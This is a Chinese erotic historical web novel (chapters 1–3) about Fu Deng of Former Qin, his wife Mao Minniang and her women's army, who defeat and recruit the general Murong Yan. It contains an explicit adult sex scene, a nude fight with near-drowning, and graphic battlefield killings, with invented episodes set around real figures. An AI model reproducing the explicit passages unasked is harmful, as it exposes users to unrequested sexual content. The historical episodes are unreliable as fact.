图片载入中

前秦虎女(01-09)

特大字】 【大字】 【中字】 【小字

予人玫瑰手留余香,希望您高抬贵手点一下右上角的举手之劳 。

您的支持 是我发帖的动力,谢谢 !

*** *** *** ***

第一节:乱世鸳鸯

五胡十六国可以称为是中国历史上最混乱的时代,除了偏安南方的东晋外,长江以北皆长年陷于战乱,各处哀鸿遍野,民不聊生,人口锐减。

秦汉以来在黄河流域的灿烂文明几乎就这一百多年的时间内灰飞烟灭。

公元357年,自苻坚登上前秦国主的宝座后,横扫六合,一统北方。

正当百姓满以为和平盛世正要到来之时,由于苻坚一意孤行,结果于淝水败于晋军,元气大伤而一蹶不振。于是之前被迫降秦的鲜卑族和羌族等豪强纷纷起兵反秦,苻坚此前辛辛苦苦打下的江山再次四分五裂。

话说苻坚有一族孙名叫苻登,文武双全,苻坚称帝时封他为扬武将军兼凉州刺史,正当意气风发之时,就碰上了淝水之败,麾下精兵损失无数。

之后邺城的慕容兄弟背叛苻坚,兴兵攻打长安,苻登兵败,只得退守到河州重新整顿兵马,河州太守毛兴很热情的接待了他。

一日,苻登与毛兴在校场检阅三军时,一队全副武装的女兵吸引了他的视线。在一位威风凛凛的女将军指挥下,女兵们前进后退,进攻防守皆有条不紊。

苻登不禁暗暗称奇。

只见那女将军长着一个鹅蛋脸,柳叶眉,一双凤目炯炯有神,粉白的脸皮显得嘴唇特别的红艳,那高高的鼻梁使她那漂亮的脸蛋里透出一股男子般的英气。

苻登深深的着迷了。

“不想太守治军如此有方,连女子也训练有素。”

“将军过奖,雕虫小技,让将军见笑。”

“敢问那指挥的女将为何人?”

“此乃吾之小女,小名敏娘,年方十八。”

“哦?这可真没想到啊!太守之女真女中豪杰也!”

“将军过誉,我这小女自幼便爱舞刀弄枪,全然不像一女儿家,让她去学针线女工,却是死活不从。我也不好勉强,寻思现今乱世,若能习得武艺防身也不失为一件好事,故也随她去了。那些女兵女将也是她亲手带出,个个骁勇不亚于男儿。”

“令媛真是女中豪杰,敢请他丈夫定是人中之龙。”

“只可惜真龙尚未现身呢,我那女儿常说非英雄不嫁。咳,就她这样子,也不知谁敢娶她。”毛兴听罢苦笑着说。

“哦………”苻登听罢不由得心中一动。

阅兵之后,毛兴设宴款待苻登,城中诸将皆有赴宴,苻登双眼一次又一次地扫遍众人,就是没看到敏娘的身影。

毛兴看出苻登的心事,便说道:“小女平素只与她手下的女兵女将在一起,极少参加我们将士的宴会。若将军想见小女,在下可命人唤她过来。”

被毛兴看破了心事的苻登羞得满脸通红,连忙摆手否认:“太守误会了,我并无此意。再者令嫒虽是女中豪杰,呆在一大群男人里面喝酒也不太妥当。”

毛兴说:“既然如此,不如明日请将军到女营中好好视察一番,在下也好叫小女与将军相见。”

其实苻登心中巴不得能早点见到敏娘,只是不好明说,既然毛兴把话说到这个份上,干脆就来个顺水推舟:“如此,我便恭敬不如从命了。”

毛兴军中的女营仍是其女儿一手所建,原本只有敏娘和她一手带大的贴身侍婢,后来通过在战乱中收留了一些无家可归的女孩和妇女,并从中物色一些人选加以训练,几年过去手下竟有三千余人,于是毛敏娘在父亲的支持下干脆建立一个女营归她一人指挥,而她从小带大的贴身侍婢也就成了女营中的将军或队长。

敏娘手下的贴身侍婢,有些是从原本伏侍她的侍女中挑选,如符兰、崔巧、范江等;有些是来自毛兴手下军官的女儿,也算是将门出身,如张秀兰、斛律婉、朱美玉、彭燕等。

而虎妞则属一个例外,她与众多女兵一样也是敏娘在民间收留的。

当年敏娘只有十五岁,便随父亲出征凉州,在一个被凉军掠夺的村庄里发现一个失去了父母的女孩,那女孩只比敏娘少几岁,且长得浓眉大眼。

一般的女孩在碰到军队时往往都吓得不知所措,或害怕得放声大哭,但虎妞却视若无物,可能因为父母死于军队的手中,面对着全副武装的秦军眼里还透着一股仇恨的目光。

敏娘不禁暗暗称奇,不但主动和她搭话,还把身上的干粮分给她,在得知她父母是死于凉军之手并表示秦军就是要北上讨伐凉州时,虎妞还大声地表示要加入秦军,为父母报仇。

毛敏娘便喜欢上了这个勇敢的女孩子,不但把她收入自己的贴身侍婢,还给她取了“虎妞”这个名字。

在女营建立之后,虎妞与张秀兰则为敏娘的左右副将。

言归正传,次日,苻登便与毛兴一行人前往女营,毛兴便引女儿敏娘与他相见。

却说那苻登原本就被敏娘的美貌和英姿所吸引,在女营中看到敏娘治军如此有方,爱慕之心油然而生,而敏娘也素来仰慕苻登的勇武,再看到正值而立之年的苻登如此高大英俊,身上散发出阵阵儒将之风,春心不禁怦然而动,两人可以说是一见钟情。

毛兴见状更是乘机进言,希望能将女儿嫁给苻登,两家以结秦晋之好,苻登自然是欢喜得一口答应,众人于是挑选了吉日在毛兴府上为两位新人举行了婚礼。

因苻登再三叮嘱,国家正处危急存亡之时,喜庆之事不宜过份铺张,所以婚礼也没有搞得太奢华,倒是敏娘却做了一番精心的准备,她挑选了一件十分华丽且昂贵的氐族传统外套作为婚衣,虽然宽大但不失端庄。

浓密的秀发垂在脑后,上面还系着一个镶着金色凤凰的发结,脸上扑了一层淡淡的脂粉,发出阵阵的芳香,两条弯弯的眉毛修得如细柳一般,本来就长得漂亮的敏娘经过打扮后更显得楚楚动人。

当她在婚宴上出现时,众人皆为之而倾倒,苻登更是看得如痴如醉,拜过天地以后,敏娘便径自回洞房之中,苻登继续与众人饮酒。

苻登的酒量一向不错,参加婚宴的众位官员将领一来一往的敬酒对他来说简直是小儿科,要是在平时他非把众人喝趴下不可,只是今天,他的心思全在敏娘身上了,想到一会就要和敏娘行鱼水之欢,不用喝酒就已经脸红耳赤,血脉贲张了,眼睛彷佛已经看到敏娘的裸体。于是几个来回后便假意不胜酒力而退场,然后三步踏着两步奔至洞房里。

这洞房在经过敏娘的精心布置下也是显得相当的体面和气派。

在房间的天花板上挂着一排整齐的粉红色灯笼,在灯笼里那柔和烛光下,整个洞房都染上了艳丽的粉红色,这样的颜色很容易会激起新婚男女的情欲。

床前摆着一上等云石制成的桌子,上面摆着满满一盘的水果和酒壶酒杯。

苻登甫一打开房门,一阵桂花的芳香味便扑鼻而来,洞房大门一关,芳香的气味则变得更加浓厚,似乎弥漫了整个房间,连被褥衣裳都充满了香气,而敏娘的身体被一种不同于芳香的甘美之气包围着。

敏娘见苻登进了洞房后,便快步迎到门前行礼。

苻登心中虽然早已兴奋到巴不得一把抱着敏娘,然后疯狂地做爱,但碍于身份,行为不好如此粗野,只得装得如平常一般,彬彬有礼地请新娘子就坐。

敏娘平日虽英气十足,但此时洞房花烛夜,也显得如黄花闺女般的羞涩,整夜都没怎么说过话。

苻登一时也不知说什么好,只是拿起酒壶,给敏娘和自己各斟了一杯酒,然后自个一口喝尽,竟忘了与对方碰杯。

看到苻登那害羞得手足无措的样子,敏娘不禁“扑哧”一笑,这下子苻登就更紧张了,只好陪着傻笑了一下。

这时敏娘对苻登说:“夫君光是喝酒岂不乏味?待妾身为夫君舞蹈助庆。”

苻登这下倒觉得新鲜了,没想到一个自小舞刀弄枪的女孩子还懂舞蹈,便说:“哦!到底是女孩子家,好!我也好一睹贤妻的舞姿。”

于是敏娘离开了座位,快速地脱去身上的礼服外套,只见里头穿着几层用丝绸编织而成的舞衣,每一层舞衣的花式和颜色各异,但搭配得精巧而玲珑,没有丝毫混乱的味道,看来是早有准备。

敏娘再脱去鞋袜,赤着一双美足,对着苻登行了个礼后便开始她的“飞天”之舞。

她所跳的舞是天上才有的,人间难得见几回,敏娘每舞一节,就把一件的舞衣以优雅的舞姿缓缓地脱落,把身上的肌肤逐渐呈现在苻登的眼前。苻登看着敏娘且脱且舞,每脱掉一件,苻登的心则“扑嗵”的跳一下,当最后一件丝绸内衣从她的身上滑落时,整个人已经赤条条的呈现在苻登的面前,苻登不由得屏息了。

敏娘的皮肤有如丝绸般光滑白皙;身上的肌肉和脂肪的分布是恰到好处,体态既丰满又健美;双乳圆润且挺拔,展现出一副青春健康的形象,一对棕红色的乳晕在白皙的皮肤中特别的显眼,乳晕周围的毛孔整整齐齐地排列在边缘,再衬上那颗如玉米粒大小的乳头,看上去就像是镶在双乳上的两颗红宝石。

衣裤虽然脱了个精光,但敏娘并没有停下来,反而舞得更激烈了,身上的肌肉伴随着舞姿呈现出各种优美的曲线,双乳在失去内衣的约束后也在调皮地跳动着。

苻登则张大着嘴发呆,脸一阵红热,脑中闪过各种各样的幻想,半晌发不了声。

最后敏娘再来了几个漂亮的转体后便对着苻登行礼以示舞蹈结束。

苻登足足呆了好几分钟才清醒过来,不停地拍着双掌,连连称赞:“我平日只知贤妻巾帼不让须眉,有万夫不当之勇,真没想到贤妻跳起舞来竟也如此婀娜多姿,宛如仙女下凡啊!”

敏娘嫣然一笑,说:“妾身已为夫君舞蹈助庆完毕,现在该行周公之礼了吧?”

敏娘的主动倒把苻登吓了一跳,正要送到嘴边的酒杯“啪”的一声跌落在地上。

不等苻登回过神来,敏娘已一步一步地走近,这下子苻登再也忍不住了,像疯似的紧紧抱住敏娘,把嘴牢牢的贴住她的双唇热吻了起来。当苻登不断地抚摸敏娘那嫩滑的背部时,那野兽般的欲望变得越来越强烈,敏娘也十分主动,一边和苻登接吻,一边不停地脱他的衣服。苻登干脆把她整个儿抱起丢在床上,身上剩下的布料也稀稀拉拉地脱个精光,再来一招饿虎扑食,把敏娘紧紧的压在身下,之后两条赤裸裸的身躯便在床上不停地翻滚。

敏娘彷佛不觉得疲累似的,相当主动地向苻登发起进攻,全身表现出喜悦的样子。

她的高潮持续了好长一段时间,往往只深唿吸一两次,接着就比刚才发出更激烈的“攻击”,苻登被敏娘的肌肤包围住,觉得自己反而一直处于下风,敏娘无限的爱抚也不断地持续着,她好象知道如何重复激起男人的欲望。

几个回合后,敏娘已经把苻登压在了身下,而苻登似乎再也无力反抗了,双手也只是在敏娘的腰部与臀部间来回游走。

也许是觉得苻登已无法刺激自己,敏娘则把双手放在胸前用力地揉动自己的乳房,拇指和食指来回不停地刺激自己那业已涨成黄豆般大小的乳头。

敏娘自觉得是欲仙欲死,而苻登真的觉得自己快要死了,唿吸变得越来越困难。

“我不行了!”苻登惨叫了一声后便败下阵来。

随着火山喷发之后,苻登四肢乏力地软摊在床上,气喘如牛地吸取新鲜的空气。

而敏娘彷佛仍未满足,还在用舌头不停地舔苻登的身体。

看着苻登那双眼翻白的样子,敏娘调皮地笑道:“论比刀剑,我不如夫君;但论近身肉搏,夫君就不是妾身的对手了。”

苻登听罢只得苦笑,迷迷湖煳地晕睡过去了。

当晚过后,两人更加恩爱,每天出双入对地检视三军,回居室后要么切磋剑术,要么谈论时政,到了晚上自然少不了切磋“近身作战”的技巧。

一年之后,敏娘为他生下一个儿子,苻登更是对她宠爱有加,为儿子取名为苻崇并立为世子。

之后三年,苻登一边招兵买马,一边与各路叛军周旋,企图再次返回长安。

一日,苻登正与众将商议如何应付慕容氏的进攻时,忽然闻报长安已被慕容冲为首的燕军包围,而姚苌与乞伏国仁等前秦叛将也将长安附近的城镇攻下了。

如此一来河州也变得无险可守,无奈苻登只得带兵北上抱罕与前秦的残兵会合。

在毛兴父女的辅助下,苻登很快就站稳了脚跟,并向北攻打前秦叛将吕光,渐渐扩充自己的地盘。

就在形势开始有利于前秦一方时,长安却被慕容冲攻破,败走至新平的苻坚被叛将姚苌所杀,不久姚苌取代了慕容氏占据长安自称秦帝,史称后秦。

苻坚死后不久,其子苻丕又被慕容垂击败身死,眼看前秦就要灭亡了。

这时毛兴等人纷纷劝苻登称帝,以续苻坚的基业,苻登应允,并在抱罕正式称帝,大敕境内,立敏娘为皇后,苻崇为太子。在临时搭建的皇宫里群臣山唿万岁,苻登感到属于他的时代终于来到了。

第二节:义释慕容嫣

苻登在抱罕称帝后虽保住了前秦,但形势仍然不乐观,现在他们仅仅只占有关中的部分地区,而且列强环伺:北有吕光,南有姚苌,东有慕容垂,西有乞伏国仁。

“乱臣贼子!”苻登看着地图狠狠地骂道,这些人之前都是苻坚一手提拨起来的将领,淝水一败后就全部叛乱了,苻登决心要复兴苻坚的基业,讨伐这些叛徒,目前却地小兵微,力不从心,一时之间陷入了沉思当中。

这时毛兴开口了:“陛下不必担心,从表面上看形势对我大秦不利,但是细心分析,危机却可一一化解。”

苻登眼睛一亮,连忙问道:“愿闻其详。”

“陛下,吕光此人虽叛先帝而据凉州,但此人心中并入主中原的大志,再者此前我们屡败吕光,只要我们主动向他示好,承认他在凉州的势力范围,如此可保北面无忧。乞伏国仁与姚苌素来不和,此番他又自称秦王,姚苌自然不满,我们可以派细作到陇西、长安散布谣言,可使他们互相牵制,自然无暇北顾,我们大可放心夺取关中要地——上郡。”

“爱卿言之有理,只是慕容垂势大,且善于用兵,进攻上郡恐有一番恶战。”

“陛下,慕容垂虽是当世难得的将才,但他的眼光只在关东七州,无一统北方之志,塞外的拓拔氏一直虎视关东,只要我军不威胁到关东地区,料慕容垂亦不会轻易出兵来救。再者慕容家族内部并不团结,当中欲自立者甚多,之前慕容泓自立燕王以致内讧就是一例。那占领上郡的慕容光,虽为慕容垂的族弟,但两人一直不和,若我们攻取上郡,慕容垂必然袖手旁观。只要得到上郡,大半个关中地区则可掌握于手。他日再南下讨姚,夺回长安,一统关中。到时候消灭乞伏国仁与吕光自然轻而易举,之后再倾关陇之兵与慕容氏一决高下,光复先帝的基业就不再是梦想了。”

毛兴的一席话说得苻登两眼放光,抚掌大笑道:“毛卿家真乃朕之诸葛孔明也!”于是采纳了毛兴的战略,在确保后方安全后,便挥师东进了。

毛皇后也带着她的女营随军出征。前秦大军浩浩荡荡的杀往上郡,一路上燕军兵败如山倒,慕容光多次发信到邺城求救,终无回音。

“混蛋慕容垂!他是想藉秦军的手来干掉我哩!”慕容光一脚踢翻了桌子。

这时坐在他旁边的一位女将开口了:“兄长莫急,那苻登不过是一丧家之犬,待我领兵来会他一下。”

那位女将是慕容光的妹妹,名叫慕容嫣,身长六尺,生得是面貌清秀,是慕容家族中少有的美女,更兼自幼学习骑射,习得一身本领,有万夫不当之勇。慕容光大喜,便点起三千精兵给慕容嫣,让她出城迎战。

这时秦军已经杀至上郡郊外的严家村,燕军便在严家村处扎营,与秦军对峙。

“敌军大将是何人?”苻登问探子。

探子答道:“回陛下,敌军大将乃慕容光之妹,慕容嫣。”

“哦?”苻登捋了一下胡子,对着敏娘笑道:“不想慕容光那竖子也有如贤妻一般的女中豪杰。”

毛皇后笑答:“不是穿个盔甲带点虾兵蟹将便能当将军的,待我去会会她。”

于是毛皇后带领手下女营的战士们迎战慕容嫣。

巳时时分,两军阵前对垒,只见慕容嫣一身戎装,头戴蚝尾金盔,横刀立马,好不威风。

毛皇后看见心中暗暗称赞,回头对着一群女将喊道:“谁敢出战?!”

符兰首先出列拱手,说:“我愿取此女首级!”言罢便提起地七尺尖枪,拍马而出。

“汝乃何人,速速报上名来!”慕容嫣见对方一员女将上前,便大声发问。

“吾乃大秦皇后帐下小将符兰,特来取你性命!”

“哈哈哈,既称小将也敢前来送死,赶快回家喂奶去吧!”

“哼,取你狗命足矣!看枪!”

符兰也不多话,挺枪拍马便向慕容嫣冲去,慕容嫣熟练地舞起手中的白虎长刀,一下子就把符兰的猛刺给隔开了。

然后二人在马上枪来刀去打了四五个回合,慕容嫣瞅着一个破绽,起手一刀在符兰的右臂上划出一条长长的血口子。

“啊呀!”符兰痛得大叫了一声,慕容嫣乘其右手一松,再反手一刀,把她的长枪给打落在地。

符兰失去了兵器只得捂着伤口,双腿用力一挟马肚,赶快撤退。

“婆娘休走!”慕容嫣挥舞着大刀便要赶上来。

这时虎妞看见符兰吃了亏,立刻拍马出营,大喊:“老娘来当你的对手!”舞起画戟便与慕容嫣接战。

二人在尘土飞扬当中大战了二十多个回合不分胜败,毛皇后恐虎妞有失,马上鸣金收兵,慕容嫣也是第一次碰到这么难缠的对手,见对方收兵也不好穷追,只得回营。

虎妞回到营中好不生气,对毛皇后抱怨道:“娘娘为何鸣金,俺差点便何取她狗命!”

毛皇后笑着说:“我恐你有失,故唤你回来。何况来日方长,有的是机会。”

秀兰笑着贴在毛皇后的耳朵小声地说:“娘娘是怕那慕容嫣有失吧?”

毛皇后眉头一皱,小声地嗔怪道:“要你多嘴。”然后接着说:“那慕容嫣也是一名勇将,若能将她收入女营,定使我们如虎添翼。因此我决定智取此人。”当晚毛皇后便修书一封,差人送往苻登的主营。

第二天毛皇后便在寨门前高挂免战牌,任凭燕军在阵外叫骂,就是不出战。

“姓毛的!莫非怕了老娘不成?我看你手下的娘们只好回家喂奶,省得来这里丢人现眼!”慕容嫣见里头毫无反应,自己也陪着一起痛骂。

秦营里头的虎妞恨不得立刻冲出去和她拼命,只是毛皇后下了军令,只得隔着寨棚光瞪眼。

如是者过了两天,慕容嫣决定发动夜袭,但是秦营日夜都守得如铁桶一般,燕军一近里头便乱箭射出,慕容嫣无奈只得收兵回营。

此时慕容嫣是进退两难,正在帅营中苦思时,传令兵入营禀告,说一上郡快马到此。

慕容嫣便命传使者进来,只见此人满头大汗,一脸惊慌地报:“将军,苻登昨晚乘夜攻城,上郡……,失守了。”

“什么?”慕容嫣闻报差点晕厥过去。

她这下意识到被秦军给耍了,毛皇后的女营在这里牵制着她,而主力部队早跑到她身后去了。

慕容嫣稍定了定神,接着问道:“那,那兄长他怎么样了?”

使者从怀中抽出一封书信,说:“慕容大人已漏夜出城,临走时写下这封书信要小人交给将军。”

慕容嫣连忙拆信观看,慕容光在信中说恐慕容垂等人加害,已南下投姚苌去了,也希望她不要东归,免得受害。同时提到若有机会,便向秦军投降,将来可做内应。

慕容嫣看罢书信,一屁股呆坐在椅子上,她不想投降,但此时又无家可归,思前想后了几个时辰。

这时副将向慕容嫣进言:“将军,那毛后必然晓得上郡陷落一事,早晚会攻过来。将军如不愿降,可以先退守至严家村西边的竹林山,那里易守难攻,短期内可保不失,小人自修书一封前往邺城讨救兵,慕容大人虽与慕容垂不和,但与将军无关,我看他总不会见死不救吧。”

慕容嫣无奈,只得同意,当夜便悄悄拔寨而起前往竹林山。

燕军虽打醒十二分精神提防秦军追来,而毛皇后这边彷佛毫不知晓,一路上没有半个追兵,燕军顺利抵达了竹林山。

慕容嫣下令军士安营布防后,天已渐渐放亮。

慕容嫣几天以来都没有解衣卸甲,更兼一夜疲惫,她知道竹林山内有一清溪,便打算前往好好洗个澡。

她安排好山中各处布防后便带着数个贴身卫兵前往清溪。

那清溪两边长满了青竹,幽幽的水流声更添几分诗意,慕容嫣心情也变得舒畅了起来。

她命令几个卫兵守在外面,自己一人便来到岸边,把那身充满汗臭灰尘的盔甲内衣脱了个精光,高高兴兴地跑入溪中,那溪水只有半身水深,慕容嫣便坐在水中把整个身子没进水里,让那潺潺流过的溪水洗制身体上的汗渍污垢。

正当慕容嫣闭着双眼享受着那美好的溪水时,突然听到周围一阵骚动,还伴随着几下刀剑的碰撞声。

慕容嫣当场惊得出了一身冷汗,正想跑回岸边穿衣时,只见小溪两旁冲出了几十个女兵,手持长枪对准溪中。

这时毛皇后与几个女将慢慢地从竹林里走出,笑着说:“慕容将军,我们知道你只能逃往这里,早就在此布下伏兵,现在你手下的军队已经被我们杀败作鸟兽散了。”慕容嫣的头彷佛被重重地敲了一下,感觉这几天来自己完全被对方玩弄于股掌之中。

尽管两岸的全是女兵,但也感觉到无比的羞辱,双手下意识地护住了双乳,脸儿“嚓”的一下红到了耳根。

毛皇后继续发话:“我见慕容将军也是难得的女中豪杰,如你肯归顺于我,定加以重用。”

慕容嫣凤眼一扬:“呸!卑鄙无耻的小人,不敢与我在战场上一决高下,专玩这些阴谋诡计,算什么英雄好汉!”

虎妞听罢便哈哈大笑:“我们尽是妇人,哪来的好汉?再说连兵不厌诈都不晓得还当什么将军?俺看你还是趁早回家喂奶吧。”

虎妞这下反讥把慕容嫣气打不到一处来,只得骂道:“士可杀不可辱,你们要杀便冲上来,少得斗嘴!”

毛皇后说道:“将军如不肯降,我也不想为难。只是若这样放你走,恐众姐妹心中不服。前番虎妞与你大战未分胜负,我让她与你再较量一番,若你赢了,便放你走;若你输了,便要归顺我,如何?”

未等慕容嫣答嘴,虎妞已走到岸边,放下兵器,也把身上的衣甲脱了个精光。

只见那七尺身长的虎妞,黝黑的皮肤上全是结实的肌肉,腹部那六块“小方格”是清晰可见,连双乳也几乎无半点脂肪,尖尖的向前翘起,乳晕上的汗毛又黑又尖,粗旷得与汉子一般。

慕容嫣顿时吃了一惊,心想若上次再与她多斗几个回合,未必是她的对手。

虎妞脱光后径自走入水中说:“俺不要你上岸,免得你说有诈。俺也和你一样脱光光,徒手决胜负,如何?”

慕容嫣寻思也没别的选择了,倘能打倒眼前这个“黑大汉”,可能还有一线希望。

于是慕容嫣也摆出了应战的架势,对着岸上的毛皇后说:“你可要说话算数,就算我取她性命你也不能反悔!”

毛皇后笑着回答:“既是决斗,生死各安天命,我决不食言!”

慕容嫣身材也煞是好看,雪白的胴体好似一块精心捏塑出的酥油花,和戎马生涯的女子们一样,慕容嫣的双乳比一般的妇女长得要结实和挺拔,一对小小的乳晕如同冬天的梅花一般,散发出淡淡的娇美。

此时在小溪中央,两个一刚一柔,一黑一白的胴体已摆出了作战的架势了。

慕容嫣虽然肌肉比不上虎妞,但也绝非等闲之辈,两个对峙了一回,她突然发出一虚招,乘虎妞隔挡之时,一记重拳打在虎妞的小肚子上,虎妞痛得身子向下一弯,慕容嫣便一个重肘打下,把虎妞打在水中。

慕容嫣顺势用双手卡住虎妞的脖子,企图将她溺死于水中。

虎妞虽一开始吃了亏,但也不惊慌,一双结实粗壮的大腿猛地向慕容嫣肚子一踢,慕容嫣的身子以双手为圆心在半空转了个180度,背部重重的拍在水面上,双手只得松开虎妞的脖子。

虎妞从水中跃起便要反攻,慕容嫣也很灵活地从水中冒起,两人紧紧地贴在一起扭打起来,水花溅起一浪又一浪,此情此景好似在油炸一块双层年糕。

两个女孩子在水中厮打了半个时辰仍不分胜败,但虎妞力气显然比慕容嫣充足,之后慕容嫣的体力渐渐不支,慢慢的只有还手之力了。

虎妞乘胜追击,突然卖了个破绽,等慕容嫣出拳时绕到她的背后,双手紧紧抓着她的双臂,大喝一声便向后一拗,此时慕容嫣已力气不支,对这突如其来的猛力无法反抗,双手只得被虎妞牢牢卡住。

随后虎妞用左手如麻绳般紧紧地缠住她的双臂,双腿用力一压,慕容嫣双膝便重重地跪在水里。

虎妞的右手一把抓住慕容嫣那湿漉漉的头发,大声问道:“认不认输!”

这时慕容嫣四肢已无法动蛋,可仍倔强地喊道:“去你的!”

虎妞的右手便把她的头压入水中,一串儿气泡“咕噜咕噜”地从水面冒出,然后又把她的头拉出水面,又问:“认不认输!”见对方没反应,又把她的头压了下去。

慕容嫣自知失败,但又不想认输,只是一言不发。结果几个来回后便由于呛水太多晕死了过去。

不知过了多久,慕容嫣感到脸被人拍打了几下,迷迷煳煳的清醒过来,只觉双手无法活动,猛的睁开眼睛,只见自己仍是赤条条的,只是双手已被麻绳反绑着。那两个女兵见慕容嫣醒来,便架着她进入帅营。

在帅营里面,毛皇后已经端坐中间,两旁女将也是等候多时,还有那个虎妞依旧是一丝不挂的坐在旁边,一边得意地看着她,一边用布不停地抹去头发与身上的水。

毛皇后问道:“刚才我已说过,若你输了便要归顺,请问将军意下如何?”

慕容嫣这时想起了慕容光给她留下的书信,心想不若顺水推舟降了。

但她终究是倔强之人,想到自己受尽了屈辱,怎有脸面苟存于世。

于是答道:“这个条件方才只是娘娘自己提出,我并未答应,何来投降?”

正在擦头发的虎妞听罢便整个跳了起来,把毛巾一丢冲上前喊道:“你这婆娘,想要反悔?!”

慕容嫣答道:“就当我反悔吧,我们慕容家只有断头将军,没有投降将军!要杀便杀,何需多言!”

毛皇后柳眉一皱,便说道:“推出去,斩了。”

虎妞听了立马取起大刀,目露凶光对着慕容嫣说:“这下正好砍下你这颗头当战利品。”

慕容嫣说:“你来凑什么热闹?”

虎妞答道:“俺不但是娘娘手下的大将,也是这个女营的行刑刽子,既要斩你,当然由俺操刀。”

慕容嫣笑道:“真是没想到,你叫虎妞是吧?刚才我确实输得心服口服,死在你的刀下也甘心,只是至少你也得穿件衣服才好行刑吧。”

虎妞毫不在乎地说:“怕什么?这里全是女人,就算有男人任他看呗,看见俺这身肌肉他们也得害臊。”

女将们听罢尽皆哄堂大笑。

“既如此,那走吧。”慕容嫣转身便要走出帐外。

毛皇后本来就喜欢慕容嫣的身手,这下看见她如此坚贞不屈,心里更是喜欢,连忙说:“且慢!”然后快步走上前来,拔出小刀割断绑着慕容嫣的绳子,同时接过旁边递上来的战袍,一把披在慕容嫣的身上说:“将军真乃女中豪杰,我怎忍心加害,将军若不嫌弃,留下与众姐妹一起共图大业。”

看着毛皇后那充满诚意的目光,慕容嫣心中一阵激动,说:“我只是败军之将,哪里值得娘娘如此看重,我们慕容家族背叛秦主,此番还有何面目再为秦将。”

毛皇后握着慕容嫣的手说:“那只是慕容垂等人之过,相信并非将军本意,若你肯留下,我定奏明主上赦免你的罪责。”

慕容嫣听罢,马上下跪拱手,说:“慕容嫣愿为娘娘执鞭随镫,效犬马之劳!”

毛皇后大喜,连忙扶起她说:“将军快快请起。”

慕容嫣说:“娘娘无需多礼,日后唤我嫣儿便好。”

虎妞把刀一收,笑着说:“今天且寄下你的脑袋。”

慕容嫣也笑着说:“我看你还是先穿上衣服吧。”

毛皇后拍着手说:“不必,众位姐妹连日来辛苦了,大家一起去竹林山的清溪洗澡去!”众女将齐声吹唿。

当日下午,那条平日宁静的山溪成了女营将士们的乐园,女兵们个个宽衣解甲,纷纷跳入水中,一边洗去身上的汗污,一边相互戏水,好不热闹。

在竹林山周围守卫的女兵们听到里面那热闹的戏水声,心中直痒痒的,都盼着她们快点洗完,好换她们前去。

而毛皇后与众位女将则在清溪的上游处,一边享受着潺潺流过的清泉水,一边聊天谈心,感觉人生最写意也莫过于此。

这时虎妞打趣说:“若这时有男人看到如此场面,定当口喷鲜血数升而死。”

慕容嫣则接口说:“是看见你这个黑大汉才活活吓死的吧?”

众人皆大笑。

虎妞嗔怪地说:“我看你还没教训够,要不要再来一次啊?”

慕容嫣摆起架势,笑着说:“来便来,怕你不成。”

两人于是又扭作了一团,只是这回不是以性命相搏,仅是嬉戏而已。旁边的女兵女将也在旁呐喊助威,整个山谷都充满了女孩子们爽朗的笑声。

自此,慕容嫣便正式成为她们当中的一员。

夺取上郡之后,秦军继续挥师南下,几个州县望风而降,前秦的声势日益壮大,颇有卷土重来之势。

第三节:彭燕之死

自前秦军南征两年以来,攻北地,取陇东,已经渐渐威胁到后秦的势力范围了。

前段时间与陇西的乞伏国仁打得死去活来的姚苌不得不与之议和,以便集中力量来对付苻登。

慕容光自从上郡败北投靠了姚苌后,很快就得到了重用。一来他对关中的情况比较熟悉,二来姚苌希望将来东征与慕容氏交兵时,也有个知彼的参谋。

“朕有点小觑那苻登了,没想他区区几万人竟能扩张得如此迅速。下一步他们一定会夺取安定,以打开我们的北大门。”

“陛下不必担心,安定守将杨任谋略过人,其妻孟凤也是当世少有的女中豪杰,其勇不让须眉。苻登要吃下安定恐怕不会那么容易。再者,在下南下之前已修书与小妹,要她假意投降苻登,以做内应。”

“令妹可靠否?”

“陛下请放心,在下与小妹自幼情同手足,绝无问题。”

“哈哈,很好。所谓知己知彼,百战不殆。慕容爱卿可修密信与令妹,共图大事。”

“遵旨。”

安定城外,两军对垒,双方都飘着“秦”字大旗,不同的是苻登方为黑色,姚苌方为红色。

“乱臣贼子,竟敢堂而皇之地打出我大秦的旗帜!”苻登气得双眼冒火。

后秦主将杨任望着黑旗飘舞的阵地,回头高唿:“谁敢出战?”

“我来!”杨任话音未落,一员大将已拍马出阵。

此非别人,正是杨任之妻孟凤,她生于将门世家,在家父兄长的耳濡目染下,学得一身本领。

孟凤时年二十有三,但身材腰粗膀阔,与她的年龄不太相称,方正的脸形中透出一股秀气,只见她身披凤纹甲胄,头扎红布,双手各握一把百斤短柄圆锤,威风凛凛地立马于阵前,对着苻登那边大喊:“哪个敢出来送死?!”

苻登点了点头说:“早闻得杨任有一妻孟氏勇盖男儿,看来是名不虚传呢。”

这时偏将范统拱手道:“陛下,小将愿出战阵斩此人!”

苻登同意后,范统纵马出战,直取孟凤。

孟凤只是冷笑一声,从容地接下了范统的猛攻,随后两人打了三个回合,孟凤看准了一个破绽,右手一锤就往范统的脑门敲去,只听得“啊呀”一声惨叫,范统被敲得脑浆迸裂,当场死于马下。

“大胆泼妇,竟敢害我兄弟!”偏将王重成挺枪而出,孟凤依旧不慌不忙,两把大锤舞得是虎虎生风,几招过后王重成已经显得力不从心,孟凤灵活地闪到他身后,猛的一锤砸下,王重成的嵴骨顿时断开数段,口喷鲜血倒地而亡。

两军甫一开战,前秦军便出师不利,后秦军见主将夫人连胜两场,全部齐声吹唿,士气倍增。

这时女营中的虎妞看不下去了,不等毛皇后的命令,便提戟上马飞奔而出,指着孟凤大喊:“待俺来会会你!”

由于虎妞戴着头盔,孟凤初看还以为是一少年将军,这时才知道对方也是个女人,便哈哈大笑:“苻登小儿无人矣,竟派一女娃子过来送死!”

虎妞也懒得答她,挥舞着长戟便直刺孟凤,这次孟凤碰到了对手,没想到这个女子竟和她一样利害。

两个打了十个回合也不分胜负,而苻登则下令士卒擂鼓助威,虎妞看准空隙,一戟便刺中孟凤的手腕,一只重锤“轰”的一声跌落了地面。

孟凤见势头不对,立刻转身而逃。

苻登看见机会到了,马上下令全军冲锋。

这时苻登手下的将军们看见风头全让女营的人抢去了,心里都忒不服气,都想着冲上去为男将们挽回点面子,见苻登下令冲锋,个个都一马当先,锐不可挡。

杨任见夫人虽然落败,但想己方士气正旺,便也下令全军冲锋。

于是两军陷入混战状态,地面扬起滚滚黄沙,人与马皆陷于其中,时隐时现,刀来枪往,银光乍现。

